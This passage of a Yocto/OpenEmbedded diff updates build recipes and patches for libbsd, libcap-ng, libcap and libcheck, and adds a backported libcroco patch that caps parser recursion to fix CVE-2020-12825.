+# License: BSD-2-clause
+# License: BSD-2-clause-NetBSD
+# License: BSD-2-clause-author
+# License: BSD-2-clause-verbatim
+# License: BSD-3-clause
+# License: BSD-3-clause-author
+# License: BSD-3-clause-John-Birrell
+# License: BSD-3-clause-Regents
+# License: BSD-4-clause-Christopher-G-Demetriou
+# License: BSD-4-clause-Niels-Provos
+# License: BSD-5-clause-Peter-Wemm
+# License: Beerware
+# License: Expat
+# License: ISC
+# License: ISC-Original
+# License: public-domain
+# License: public-domain-Colin-Plumb
+LICENSE = "BSD-3-Clause & BSD-4-Clause & ISC & PD"
+LICENSE:${PN} = "BSD-3-Clause & ISC & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=adf6172075bcc5837e33a8a688eb7e22"
+SECTION = "libs"
+
+SRC_URI = "https://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "ff95cf8184151dacae4247832f8d4ea8800fa127dbd15033ecfe839f285b42a1"
+
+inherit autotools pkgconfig
+
+DEPENDS += "libmd"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb
new file mode 100644
index 0000000000..1240589d00
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb
@@ -0,0 +1,28 @@
+require libcap-ng.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libcap-ng:"
+
+SUMMARY .= " - python"
+
+inherit lib_package autotools python3targetconfig
+
+DEPENDS += "libcap-ng python3 swig-native"
+
+S = "${WORKDIR}/libcap-ng-${PV}"
+
+EXTRA_OECONF += "--with-python --with-python3"
+
+do_install:append() {
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${libdir}/.debug
+ rm -f ${D}${libdir}/lib*
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${datadir}
+ rm -rf ${D}${includedir}
+}
+
+# PACKAGES = "${PN}"
+
+FILES:${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
+FILES:${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.bb
deleted file mode 100644
index 43f76dc561..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-require libcap-ng.inc
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libcap-ng:"
-
-SUMMARY .= " - python"
-
-inherit lib_package autotools python3native
-
-DEPENDS += "libcap-ng python3 swig-native"
-
-S = "${WORKDIR}/libcap-ng-${PV}"
-
-EXTRA_OECONF += "--with-python --with-python3"
-EXTRA_OEMAKE += "PYLIBVER='python${PYTHON_BASEVERSION}${PYTHON_ABI}' PYINC='${STAGING_INCDIR}/${PYLIBVER}'"
-
-do_install_append() {
- rm -rf ${D}${bindir}
- rm -rf ${D}${libdir}/.debug
- rm -f ${D}${libdir}/lib*
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
- rm -rf ${D}${includedir}
-}
-
-# PACKAGES = "${PN}"
-
-FILES_${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
-FILES_${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
-
diff --git a/meta/recipes-support/libcap-ng/libcap-ng.inc b/meta/recipes-support/libcap-ng/libcap-ng.inc
index 3d25b4cbd9..34374b4dbf 100644
--- a/meta/recipes-support/libcap-ng/libcap-ng.inc
+++ b/meta/recipes-support/libcap-ng/libcap-ng.inc
@@ -7,10 +7,13 @@ LICENSE = "GPLv2+ & LGPLv2.1+"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-SRC_URI = "http://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
- file://python.patch \
+SRC_URI = "https://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
+ file://determinism.patch \
"
-SRC_URI[sha256sum] = "f14d23b60ae1465b032e4e8cbd4112006572c69a6017d55d5d3c6aad622a9e21"
+SRC_URI[sha256sum] = "52c083b77c2b0d8449dee141f9c3eba76e6d4c5ad44ef05df25891126cb85ae9"
+
+EXTRA_OECONF:append:class-target = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
+EXTRA_OECONF:append:class-nativesdk = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch b/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch
new file mode 100644
index 0000000000..fbb7380f56
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch
@@ -0,0 +1,59 @@
+[PATCH] bindings/python: Allow hardcoded path to capability.h to be overridden
+
+Currently the path to capability.h is hardcoded. When cross compiling
+the host capabiity.h may be different to the target copy, leading
+to different options being encoded in the python bindings than
+expected. This causes a reproducibility issue amongst other potential
+problems.
+
+Add a configure option to optionally specify the right path to the
+correct header as its probably safer/more reliable than trying to
+query the compiler to get the header path.
+
+Signed-off-by: Richard Purdie richard.purdie@linuxfoundation.org
+Upstream-Status: Submitted [https://github.com/stevegrubb/libcap-ng/pull/30]
+
+Index: libcap-ng-0.8.2/configure.ac
+===================================================================
+--- libcap-ng-0.8.2.orig/configure.ac
++++ libcap-ng-0.8.2/configure.ac
+@@ -63,6 +63,13 @@ AC_CHECK_HEADERS(sys/vfs.h, [
+ AC_CHECK_HEADERS(linux/magic.h, [] [AC_MSG_WARN(linux/magic.h is required in order to verify procfs.)])
+ ], [AC_MSG_WARN(sys/vfs.h is required in order to verify procfs.)])
+
++
++AC_ARG_WITH([capability_header],
++ [AS_HELP_STRING([--with-capability_header=path : path to cpapbility.h])],
++ [CAPABILITY_HEADER=$withval],
++ [CAPABILITY_HEADER=/usr/include/linux/capability.h])
++AC_SUBST(CAPABILITY_HEADER)
++
+ AC_C_CONST
+ AC_C_INLINE
+ AM_PROG_CC_C_O
+Index: libcap-ng-0.8.2/bindings/python3/Makefile.am
+===================================================================
+--- libcap-ng-0.8.2.orig/bindings/python3/Makefile.am
++++ libcap-ng-0.8.2/bindings/python3/Makefile.am
+@@ -41,7 +41,7 @@ nodist__capng_la_SOURCES = capng_wrap.c
+ capng.py capng_wrap.c: ${srcdir}/../src/capng_swig.i caps.h capng.h
+ swig -o capng_wrap.c ${SWIG_FLAGS} ${SWIG_INCLUDES} ${srcdir}/../src/capng_swig.i
+ caps.h:
+- cat /usr/include/linux/capability.h | grep '^#define CAP' | grep -v '[()]' > caps.h
++ cat $(CAPABILITY_HEADER) | grep '^#define CAP' | grep -v '[()]' > caps.h
+ capng.h:
+ cat ${top_srcdir}/src/cap-ng.h | grep -v '_state' > capng.h
+
+Index: libcap-ng-0.8.2/bindings/python/Makefile.am
+===================================================================
+--- libcap-ng-0.8.2.orig/bindings/python/Makefile.am
++++ libcap-ng-0.8.2/bindings/python/Makefile.am
+@@ -38,7 +38,7 @@ nodist__capng_la_SOURCES = capng_wrap.c
+ capng.py capng_wrap.c: ${srcdir}/../src/capng_swig.i caps.h capng.h
+ swig -o capng_wrap.c ${SWIG_FLAGS} ${SWIG_INCLUDES} ${srcdir}/../src/capng_swig.i
+ caps.h:
+- cat /usr/include/linux/capability.h | grep '^#define CAP' | grep -v '[()]' > caps.h
++ cat $(CAPABILITY_HEADER) | grep '^#define CAP' | grep -v '[()]' > caps.h
+ capng.h:
+ cat ${top_srcdir}/src/cap-ng.h | grep -v '_state' > capng.h
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/python.patch b/meta/recipes-support/libcap-ng/libcap-ng/python.patch
deleted file mode 100644
index fcd6f9cd33..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng/python.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-Subject: [PATCH] configure.ac - Avoid an incorrect check for python.
- Makefile.am - avoid hard coded host include paths.
-
-Upstream-Status: pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
-Signed-off-by: Zang Ruochen <zangrc.fnst@cn.fujitsu.com>
-
----
- bindings/python/Makefile.am | 4 +++-
- configure.ac | 17 ++---------------
- 2 files changed, 5 insertions(+), 16 deletions(-)
-
-diff --git a/bindings/python/Makefile.am b/bindings/python/Makefile.am
-index 999b184..c8e49db 100644
---- a/bindings/python/Makefile.am
-+++ b/bindings/python/Makefile.am
-@@ -23,7 +23,9 @@
- SUBDIRS = test
- CONFIG_CLEAN_FILES = *.loT *.rej *.orig
- AM_CFLAGS = -fPIC -DPIC
--AM_CPPFLAGS = -I. -I$(top_builddir) -I@PYINCLUDEDIR@
-+PYLIBVER ?= python$(PYTHON_VERSION)
-+PYINC ?= /usr/include/$(PYLIBVER)
-+AM_CPPFLAGS = -I. -I$(top_builddir) -I$(PYINC)
- SWIG_FLAGS = -python
- SWIG_INCLUDES = ${AM_CPPFLAGS}
- pyexec_PYTHON = capng.py
-diff --git a/configure.ac b/configure.ac
-index 8b46f51..2d7e00c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -141,21 +141,8 @@ fi
-
- # Setup Python2 with the interpreter found previously.
- AM_PATH_PYTHON
--PYINCLUDEDIR=`python${am_cv_python_version} -c "from distutils import sysconfig; print(sysconfig.get_config_var('INCLUDEPY'))"`
--if test -f ${PYINCLUDEDIR}/Python.h ; then
-- python_found="yes"
-- AC_SUBST(PYINCLUDEDIR)
-- pybind_dir="python"
-- AC_SUBST(pybind_dir)
-- AC_MSG_NOTICE(Python bindings will be built)
--else
-- python_found="no"
-- if test "x$use_python" = xyes ; then
-- AC_MSG_ERROR([Python explicitly requested and python headers were not found])
-- else
-- AC_MSG_WARN("Python headers not found - python bindings will not be made")
-- fi
--fi
-+python_found="yes"
-+AC_MSG_NOTICE(Python bindings will be built)
- fi
- AM_CONDITIONAL(HAVE_PYTHON, test ${python_found} = "yes")
-
---
-2.25.1
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb
new file mode 100644
index 0000000000..6e16e886b9
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb
@@ -0,0 +1,17 @@
+require libcap-ng.inc
+
+inherit lib_package autotools
+
+EXTRA_OECONF += "--without-python --without-python3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ # Moving libcap-ng to base_libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mkdir -p ${D}/${base_libdir}/
+ mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
+ relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
+ ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
+ fi
+}
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.8.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.8.bb
deleted file mode 100644
index 6e6de45494..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng_0.8.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require libcap-ng.inc
-
-inherit lib_package autotools
-
-EXTRA_OECONF += "--without-python --without-python3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- # Moving libcap-ng to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
- relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
- ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
- fi
-}
diff --git a/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
new file mode 100644
index 0000000000..89f6bcd65f
--- /dev/null
+++ b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
@@ -0,0 +1,34 @@
+From 42b3e19d4e584fb9b47fb471e02bb25de90ac641 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Thu, 14 Oct 2021 15:57:36 +0800
+Subject: [PATCH] nativesdk-libcap: Raise the size of arrays containing dl
+ paths
+
+This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
+and lengths as well as ld.so.cache path in the dynamic loader to specific
+sections in memory. The sections that contain paths have been allocated a 4096
+byte section, which is the maximum path length in linux. This will allow the
+relocating script to parse the ELF binary, detect the section and easily replace
+the strings in a certain path.
+
+Upstream-Status: Inappropriate [SDK specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+---
+ libcap/execable.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libcap/execable.h b/libcap/execable.h
+index 0bcc5d4..6e2a080 100644
+--- a/libcap/execable.h
++++ b/libcap/execable.h
+@@ -23,7 +23,7 @@
+ #endif
+ #define __EXECABLE_H
+
+-const char __execable_dl_loader[] __attribute((section(".interp"))) =
++const char __execable_dl_loader[4096] __attribute((section(".interp"))) =
+ SHARED_LOADER ;
+
+ static void __execable_parse_args(int *argc_p, char ***argv_p)
diff --git a/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch b/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch
deleted file mode 100644
index d9fd48a9db..0000000000
--- a/meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 03e925f0d68bc51e1acf1ac2014a9c2452c664bf Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 15 Jan 2020 17:16:28 +0100
-Subject: [PATCH] tests: do not statically link a test
-
-This fails on e.g. centos 7
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- tests/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/tests/Makefile b/tests/Makefile
-index d569650..f5ca377 100644
---- a/tests/Makefile
-+++ b/tests/Makefile
-@@ -11,7 +11,7 @@ ifeq ($(DYNAMIC),yes)
- LDPATH = LD_LIBRARY_PATH=../libcap
- DEPSBUILD = all
- else
--LDFLAGS += --static
-+LDFLAGS +=
- DEPSBUILD = libcap.a libpsx.a
- endif
-
-@@ -51,7 +51,7 @@ libcap_psx_launch_test: libcap_launch_test.c $(DEPS)
-
- # This one runs in a chroot with no shared library files.
- noop: noop.c
-- $(CC) $(CFLAGS) $< -o $@ --static
-+ $(CC) $(CFLAGS) $< -o $@
-
- clean:
- rm -f psx_test libcap_psx_test libcap_launch_test *~
diff --git a/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
index bfce8e0547..20346cf2fb 100644
--- a/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
+++ b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
@@ -1,4 +1,4 @@
-From 7744c1f678f5226a151bc6b2a254a56835229d91 Mon Sep 17 00:00:00 2001
+From 10212b6d4e8843feffbeab5336342d97f3a46bb2 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 20 Dec 2019 16:54:05 +0100
Subject: [PATCH] tests: do not run target executables
@@ -11,20 +11,20 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 deletions(-)
diff --git a/tests/Makefile b/tests/Makefile
-index 8956d5d..d569650 100644
+index ecb7d1b..8950c73 100644
--- a/tests/Makefile
+++ b/tests/Makefile
-@@ -27,13 +27,11 @@ sudotest: test run_libcap_launch_test run_libcap_launch_test
- install: all
+@@ -61,13 +61,11 @@ endif
+ # unprivileged
run_psx_test: psx_test
-- $(LDPATH) ./psx_test
+- ./psx_test
psx_test: psx_test.c $(DEPS)
- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBPSXLIB)
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBPSXLIB)
run_libcap_psx_test: libcap_psx_test
-- $(LDPATH) ./libcap_psx_test
+- ./libcap_psx_test
libcap_psx_test: libcap_psx_test.c $(DEPS)
- $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LIBCAPLIB) $(LIBPSXLIB) $(LDFLAGS)
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB)
diff --git a/meta/recipes-support/libcap/libcap_2.44.bb b/meta/recipes-support/libcap/libcap_2.44.bb
deleted file mode 100644
index 79875522d6..0000000000
--- a/meta/recipes-support/libcap/libcap_2.44.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-SUMMARY = "Library for getting/setting POSIX.1e capabilities"
-HOMEPAGE = "http://sites.google.com/site/fullycapable/"
-
-# no specific GPL version required
-LICENSE = "BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://License;md5=3f84fd6f29d453a56514cb7e4ead25f1"
-
-DEPENDS = "hostperl-runtime-native gperf-native"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
- file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
- file://0002-tests-do-not-run-target-executables.patch \
- file://0001-tests-do-not-statically-link-a-test.patch \
- "
-SRC_URI[sha256sum] = "92188359cd5be86e8e5bd3f6483ac6ce582264f912398937ef763def2205c8e1"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
-
-inherit lib_package
-
-# do NOT pass target cflags to host compilations
-#
-do_configure() {
- # libcap uses := for compilers, fortunately, it gives us a hint
- # on what should be replaced with ?=
- sed -e 's,:=,?=,g' -i Make.Rules
- sed -e 's,^BUILD_CFLAGS ?= ,BUILD_CFLAGS := $(BUILD_CFLAGS) ,' -i Make.Rules
-}
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG_class-native ??= ""
-
-PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
-
-EXTRA_OEMAKE = " \
- INDENT= \
- lib='${baselib}' \
- RAISE_SETFCAP=no \
- DYNAMIC=yes \
- BUILD_GPERF=yes \
-"
-
-EXTRA_OEMAKE_append_class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
-
-# these are present in the libcap defaults, so include in our CFLAGS too
-CFLAGS += "-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"
-
-do_compile() {
- oe_runmake ${PACKAGECONFIG_CONFARGS}
-}
-
-do_install() {
- oe_runmake install \
- ${PACKAGECONFIG_CONFARGS} \
- DESTDIR="${D}" \
- prefix="${prefix}" \
- SBINDIR="${sbindir}"
-}
-
-do_install_append() {
- # Move the library to base_libdir
- install -d ${D}${base_libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${libdir}/libcap* ${D}${base_libdir}
- if [ -d ${D}${libdir}/security ]; then
- mv ${D}${libdir}/security ${D}${base_libdir}
- fi
- fi
-}
-
-FILES_${PN}-dev += "${base_libdir}/*.so"
-
-# pam files
-FILES_${PN} += "${base_libdir}/security/*.so"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap/libcap_2.62.bb b/meta/recipes-support/libcap/libcap_2.62.bb
new file mode 100644
index 0000000000..e08cac7218
--- /dev/null
+++ b/meta/recipes-support/libcap/libcap_2.62.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Library for getting/setting POSIX.1e capabilities"
+DESCRIPTION = "A library providing the API to access POSIX capabilities. \
+These allow giving various kinds of specific privileges to individual \
+users, without giving them full root permissions."
+HOMEPAGE = "http://sites.google.com/site/fullycapable/"
+# no specific GPL version required
+LICENSE = "BSD-3-Clause | GPLv2"
+LIC_FILES_CHKSUM = "file://License;md5=e2370ba375efe9e1a095c26d37e483b8"
+
+DEPENDS = "hostperl-runtime-native gperf-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
+ file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
+ file://0002-tests-do-not-run-target-executables.patch \
+ "
+SRC_URI:append:class-nativesdk = " \
+ file://0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch \
+ "
+SRC_URI[sha256sum] = "190c5baac9bee06a129eae20d3e827de62f664fe3507f0bf6c50a9a59fbd83a2"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
+
+inherit lib_package
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG:class-native ??= ""
+
+PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
+
+EXTRA_OEMAKE = " \
+ INDENT= \
+ lib='${baselib}' \
+ RAISE_SETFCAP=no \
+ DYNAMIC=yes \
+ USE_GPERF=yes \
+"
+
+EXTRA_OEMAKE:append:class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
+
+do_compile() {
+ unset CFLAGS BUILD_CFLAGS
+ oe_runmake \
+ ${PACKAGECONFIG_CONFARGS} \
+ AR="${AR}" \
+ CC="${CC}" \
+ RANLIB="${RANLIB}" \
+ OBJCOPY="${OBJCOPY}" \
+ COPTS="${CFLAGS}" \
+ BUILD_COPTS="${BUILD_CFLAGS}"
+}
+
+do_install() {
+ oe_runmake install \
+ ${PACKAGECONFIG_CONFARGS} \
+ DESTDIR="${D}" \
+ prefix="${prefix}" \
+ SBINDIR="${sbindir}"
+}
+
+do_install:append() {
+ # Move the library to base_libdir
+ install -d ${D}${base_libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${libdir}/libcap* ${D}${base_libdir}
+ if [ -d ${D}${libdir}/security ]; then
+ mv ${D}${libdir}/security ${D}${base_libdir}
+ fi
+ fi
+}
+
+FILES:${PN}-dev += "${base_libdir}/*.so"
+
+# pam files
+FILES:${PN} += "${base_libdir}/security/*.so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcheck/libcheck_0.15.2.bb b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
index 33e07db93c..89bcafc453 100644
--- a/meta/recipes-support/libcheck/libcheck_0.15.2.bb
+++ b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
@@ -1,4 +1,9 @@
SUMMARY = "Check - unit testing framework for C code"
+DESCRIPTION = "It features a simple interface for defining unit tests, \
+putting little in the way of the developer. Tests are run in a separate \
+address space, so both assertion failures and code errors that cause \
+segmentation faults or other signals can be caught. Test results are \
+reportable in the following: Subunit, TAP, XML, and a generic logging format."
HOMEPAGE = "https://libcheck.github.io/check/"
SECTION = "devel"
@@ -16,13 +21,13 @@ inherit autotools pkgconfig texinfo
CACHED_CONFIGUREVARS += "ac_cv_path_AWK_PATH=${bindir}/gawk"
-RREPLACES_${PN} = "check (<= 0.9.5)"
+RREPLACES:${PN} = "check (<= 0.9.5)"
BBCLASSEXTEND = "native nativesdk"
PACKAGES =+ "checkmk"
-FILES_checkmk = "${bindir}/checkmk"
+FILES:checkmk = "${bindir}/checkmk"
-RDEPENDS_checkmk = "gawk"
+RDEPENDS:checkmk = "gawk"
diff --git a/meta/recipes-support/libcroco/files/CVE-2020-12825.patch b/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
new file mode 100644
index 0000000000..42f92e3607
--- /dev/null
+++ b/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
@@ -0,0 +1,192 @@
+From fdf78a4877afa987ba646a8779b513f258e6d04c Mon Sep 17 00:00:00 2001
+From: Michael Catanzaro <mcatanzaro@gnome.org>
+Date: Fri, 31 Jul 2020 15:21:53 -0500
+Subject: [PATCH] libcroco: Limit recursion in block and any productions
+
+ (CVE-2020-12825)
+
+If we don't have any limits, we can recurse forever and overflow the
+stack.
+
+Fixes #8
+This is per https://gitlab.gnome.org/Archive/libcroco/-/issues/8
+
+https://gitlab.gnome.org/GNOME/gnome-shell/-/merge_requests/1404
+
+CVE: CVE-2020-12825
+Upstream-Status: Backport [https://gitlab.gnome.org/Archive/libcroco/-/commit/6eb257e5c731c691eb137fca94e916ca73941a5a]
+Comment: No refreshing changes done.
+Signed-off-by: Saloni Jain <Saloni.Jain@kpit.com>
+
+---
+ src/cr-parser.c | 44 +++++++++++++++++++++++++++++---------------
+ 1 file changed, 29 insertions(+), 15 deletions(-)
+
+diff --git a/src/cr-parser.c b/src/cr-parser.c
+index 18c9a01..f4a62e3 100644
+--- a/src/cr-parser.c
++++ b/src/cr-parser.c
+@@ -136,6 +136,8 @@ struct _CRParserPriv {
+
+ #define CHARS_TAB_SIZE 12
+
++#define RECURSIVE_CALLERS_LIMIT 100
++
+ /**
+ * IS_NUM:
+ *@a_char: the char to test.
+@@ -344,9 +346,11 @@ static enum CRStatus cr_parser_parse_selector_core (CRParser * a_this);
+
+ static enum CRStatus cr_parser_parse_declaration_core (CRParser * a_this);
+
+-static enum CRStatus cr_parser_parse_any_core (CRParser * a_this);
++static enum CRStatus cr_parser_parse_any_core (CRParser * a_this,
++ guint n_calls);
+
+-static enum CRStatus cr_parser_parse_block_core (CRParser * a_this);
++static enum CRStatus cr_parser_parse_block_core (CRParser * a_this,
++ guint n_calls);
+
+ static enum CRStatus cr_parser_parse_value_core (CRParser * a_this);
+
+@@ -784,7 +788,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
+ cr_parser_try_to_skip_spaces_and_comments (a_this);
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ } while (status == CR_OK);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr,
+@@ -795,7 +799,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, 0);
+ CHECK_PARSING_STATUS (status,
+ FALSE);
+ goto done;
+@@ -930,11 +934,11 @@ cr_parser_parse_selector_core (CRParser * a_this)
+
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ CHECK_PARSING_STATUS (status, FALSE);
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+
+ } while (status == CR_OK);
+
+@@ -956,10 +960,12 @@ cr_parser_parse_selector_core (CRParser * a_this)
+ *in chapter 4.1 of the css2 spec.
+ *block ::= '{' S* [ any | block | ATKEYWORD S* | ';' ]* '}' S*;
+ *@param a_this the current instance of #CRParser.
++ *@param n_calls used to limit recursion depth
+ *FIXME: code this function.
+ */
+ static enum CRStatus
+-cr_parser_parse_block_core (CRParser * a_this)
++cr_parser_parse_block_core (CRParser * a_this,
++ guint n_calls)
+ {
+ CRToken *token = NULL;
+ CRInputPos init_pos;
+@@ -967,6 +973,9 @@ cr_parser_parse_block_core (CRParser * a_this)
+
+ g_return_val_if_fail (a_this && PRIVATE (a_this), CR_BAD_PARAM_ERROR);
+
++ if (n_calls > RECURSIVE_CALLERS_LIMIT)
++ return CR_ERROR;
++
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token);
+@@ -996,13 +1005,13 @@ cr_parser_parse_block_core (CRParser * a_this)
+ } else if (token->type == CBO_TK) {
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, n_calls + 1);
+ CHECK_PARSING_STATUS (status, FALSE);
+ goto parse_block_content;
+ } else {
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
+ token = NULL;
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ CHECK_PARSING_STATUS (status, FALSE);
+ goto parse_block_content;
+ }
+@@ -1109,7 +1118,7 @@ cr_parser_parse_value_core (CRParser * a_this)
+ status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, 0);
+ CHECK_PARSING_STATUS (status, FALSE);
+ ref++;
+ goto continue_parsing;
+@@ -1123,7 +1132,7 @@ cr_parser_parse_value_core (CRParser * a_this)
+ status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ if (status == CR_OK) {
+ ref++;
